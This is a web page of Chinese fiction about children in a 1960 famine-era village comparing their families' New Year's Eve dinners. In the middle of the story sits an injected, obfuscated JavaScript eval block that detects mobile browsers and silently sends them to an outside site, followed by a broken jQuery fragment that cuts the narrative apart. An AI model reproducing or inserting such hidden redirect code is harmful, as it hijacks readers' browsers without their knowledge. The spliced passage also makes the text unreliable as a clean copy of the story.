一早睁眼,周小萍是在爆竹声中醒来的。
她马上扒到窗户边上去看,炕上窗户的角度却只能看见缕缕的硝烟,周小萍一骨碌爬起来,踩着半拉鞋,一边往外跑一边哆哆嗦嗦地套衣服。
猛地拉开门,炸药燃烧的气味混着冷风扑了一脸,让人立刻就清醒了。
是独属于除夕的气味儿。
住在对门的马建新就蹲在门口,放了条小的爆竹。等那震耳欲聋的声音过去,马建新跟她招了招手,露出八颗大牙地笑了笑。
周小萍:“除夕快乐!”
“小萍姐也除夕快乐!”
对面屋里传来马建新奶奶唤他的声音:“穿这么少就出去玩!回来!”
周小萍抽出兜里的手,飞快地对他挥了挥又缩了回去,看着他匆匆跑进门。
她转头看了看里屋,突然注意到厨房的烟囱上冒出一缕青烟,眼睛一亮,急急地冲进了厨房。
香……好香!
周小萍紧皱着鼻子一路闻过去,停在了一个盆前。大钢盆上盖着一个木头板,丝丝缕缕地不断飘出让人魂不守舍的香味。
那年是一九六零。
大人们料不到这场突然降临的为期三年的天灾,只道地里的粮食越来越难收成,政府催粮税催得愈来愈急。
孩童们更不知何为饥荒,只晓得饭桌上像样的菜越来越少,每天都是饥多于饱。
周小萍每天看着家中大人越来越为难的神色,隐约察觉了些变化,但也只是默默地吃干净碗里的所有粮食,连一滴油水也不放过。
此时这个味道……眼前这个盆里传来的味道……她已不住地咽口水,不禁轻轻用手将那恼人的木板掀起一条缝。她看着盆里的景象,不由得完完全全地死机了。
——是肉!
居然是肉?!周小萍已经记不得多久没有闻到过这种属于肉的香气,怪不得她刚刚半晌不曾认出来。嘴里的津液顿时不停地分泌,明明还不算很饿的肚子都似有似无地叫了一声。
一个消瘦却身板挺拔的老妇听到声响,急匆匆从里屋冲出来,看到眼睛都瞪直了的周小萍,才慢下步子擦着手,对周小萍露出一个很慈祥的笑来:“小萍啊,今天有好吃的,咱们包饺子。”
周小萍把头一甩,两根辫子跟着一扭,惊喜地喊:“姥姥,今天咱们有肉……”
姥姥一把捂上她的嘴,宽大的掌心粗糙,周小萍痒得抖了好几下,才把姥姥的手甩开。
姥姥年纪很大了,动作却不迟钝。她蹲下来,摸摸周小萍的头顶,直视着她的眼睛:“小萍啊,现在肉很难买到,所以咱们不能太大声,会招人眼红,知道吗?”
周小萍对着她的目光,也很认真地点了点头,表示理解。
姥姥撑着膝盖站起来笑笑,赶了赶她:“去和你那些小伙伴们玩儿吧,姥姥包饺子了。”
于是周小萍就跑出了家。
虽然姥姥叮嘱她不能告诉别人她今晚吃什么,可她可以好奇别人家今晚吃什么呀。
就近原则,周小萍第一个敲响的是对面马建新的房门。
探出脑袋的马建新已经比二十分钟前圆了一圈:“咋了呀姐。”
“没事儿。”她似乎也闻到了一些不一样的香味儿,试图探脑袋进门缝望一眼。
马建新看着她的动作愣了愣,犹豫几秒,小声地说:“小萍姐……我妈叮嘱我不要说,可我觉得是你应该没事儿。我们家今天有葱油饼吃。”
葱油饼?!周小萍惊讶地张大了嘴。
现在面都没多少卖的了,葱油饼还要葱,要油,简直是奢侈品。葱油饼煎一煎,满屋子都是清香浓郁的香气……周小萍又开始流口水。
她也犹豫了几秒,看着马建新那傻愣的大灯泡似的眼睛,实在不忍欺瞒他,便道:“其实我们家也有……今天包饺子,但是你不许说出去。”
马建新灯泡似的眼睛张得更大了,顶俩灯泡。
二人郑重地勾了一个小拇指,契约成立。
虽然大人不让他们往外说,但对方又不是外人呀。拉勾作保以后,二人对视一眼,决定继续打听下一个朋友的晚饭。
于是他们敲响了李翠翠的房门。
李翠翠揉着眼睛出来,打了个哈欠:“干啥呀。”
周小萍盯着她头顶的冲天辫,心想,李翠翠看着还像没睡醒,莫非她晚上睡觉不拆辫子么?
马建新才没注意那么多,他小声地问:“你们今晚上吃什么?”
李翠翠的困意顿了一秒,马上又打了一个更大的哈欠:“我真的刚起床,我没去厨房看爷爷奶奶在准备什么好吃的。我去继续睡觉了。”
周小萍眯了眯眼睛,已经察觉了不对。
但马建新那小子虽然啥也没发现,倒是直接开了口:“我偷偷地告诉你,我们家有葱油饼吃……你不要告诉别人。”
李翠翠很吃惊地看了他一眼,困意全都不见了,好似是被这个消息吓走的一样。
她沉吟了两秒,看看马建新,再看看后面一脸高深莫测的周小萍,张了张嘴:“……好吧,我们家今晚做疙瘩汤。”
疙瘩汤比较好做,汤料一兑,小面团一搁,煮出来就是一锅香喷喷的佳肴。虽然比较常见,但今时不同往日,疙瘩汤也能算作拿得出手的好菜了。
马建新瞪大了他的大眼睛:“你不是刚起床吗……你骗我!”
两个女孩都懒得理他,对视一眼,不动声色地在视线里噼里啪啦地打了些机锋,拉着手去下家了。
三人敲响了陈国豪的家门。
半天没人应答,他们只好去到陈国豪家侧边的窗户那儿。马建新蹦的最高,她们派马建新去看看陈国豪是不是还在炕上睡觉。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722060|208715||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
马建新小蚂蚱一样卯足了劲一蹦,转头大叫:“他就在炕上!”
周小萍:“那他在睡觉吗?”
马建新挠挠头:“呃……没看见是睁着眼还是闭着眼的。”
周小萍挥挥手让他再看一眼。
马建新于是转回来看着窗户,刚蓄力起跳准备往下看,窗户上突然贴着玻璃出现一个人脸!
“妈呀!!!”马建新差点儿没摔个狗啃泥。
陈国豪推开一条缝,被灌进来的冷风冻得一哆嗦:“干啥呀。”
三人于是说了来意。
陈国豪愣了愣:“啥?我刚醒,我去看一眼。”随后顶着一头炸了毛的鸡窝发型消失在窗户前。
周小萍看着他,满意地点点头,这才是真的刚睡醒嘛。
过了不久,陈国豪穿好衣服到大门口和他们会面,激动地:“真的有好吃的!”
大家马上把头凑过去,小声问:“什么什么?”
“肉丝面!”
“哇!”
呜呜呜是肉丝面!那滋味差不多可以比肩刘婶儿的炸酱面……周小萍的眼泪从嘴角流下来。
四人交换了一下情报,继续前往下一个小伙伴家里。
还没等他们看见王叔家的屋顶儿,一个身影就从前面一颠一颠地跑来。
王国强跑近了,脸上红彤彤的,张嘴就喊:“俺们家今天有烧……唔唔!”
四个人非常默契地一齐把他的嘴摁上。
王国强被解禁了以后,干巴巴地补充:“烧鸡。”
烧烧烧烧鸡……周小萍尽量不去想是鸡圈里哪只熟悉的鸡被烧。
她突然为这帮打过一架的对手们感到了一丝惆怅,难怪王叔不许他们给任何一只鸡取名字。
五人成功碰头,叽叽喳喳兴奋地讨论了一会儿,动身前往最后一个伙伴的家。
他们站在丁家强家门前。
丁家强家看起来就和他们每个人的家一样,黄黄的墙面,墙上镶着看不清屋里的灰玻璃,玻璃上贴了大红的福字儿,头顶一个烟囱。
于是他们敲响了木门。刚敲了两声,丁家强黑瘦的脸出现在门缝后边,疑惑地看着一群脸上满是兴高采烈的人。
“你家今晚有什么好吃的?”大家期待地问他。
过年吃肉是老传统了,甭管家里多揭不开锅,春节这几天也必须能吃上几口肉。虽然今年似乎不同往年,大家的日子都紧俏着过,可除夕这天还是能攒出点好吃的来。
周小萍在盘点还有什么好吃的没有出现过。大锅菜?酱豆腐皮儿卷肉?莫非有鸭子吃?
丁家强看出他们的急切,也晓得了他们为啥要过来问他。
然而他却已经知道问题的答案。
“我们家没什么好吃的,就做普通的面糊汤。”丁家强一脸平静地答道。